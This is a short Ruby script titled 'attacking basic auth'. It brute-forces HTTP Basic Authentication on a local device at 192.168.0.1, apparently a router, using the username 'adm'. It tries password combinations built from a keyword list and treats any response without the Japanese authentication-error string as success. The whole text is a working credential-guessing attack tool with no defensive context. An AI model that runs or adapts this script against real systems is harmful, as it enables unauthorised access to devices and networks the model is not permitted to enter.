attacking basic auth

atkba.rb

require 'net/http'

keywords = ['hoge', 'bar', 'mofu']
i = 1

while true
  puts "#{i} length challenge."
  
  # repeated_combination is also useful.
  keywords.combination(i).each do |keywords|
    password = keywords.join('')

    uri = URI('http://192.168.0.1')
    req = Net::HTTP::Get.new(uri)
    req.basic_auth 'adm', password
    
    res = Net::HTTP.start(uri.hostname, uri.port) {|http|
      http.request(req)
    }
    b = res.body.encode('UTF-8', 'EUC-JP', undef: :replace, invalid: :replace)
    if b.include?('認証エラー')
      puts 'ERROR'
    else
      puts password
      exit(0)
    end
  end
  i += 1
end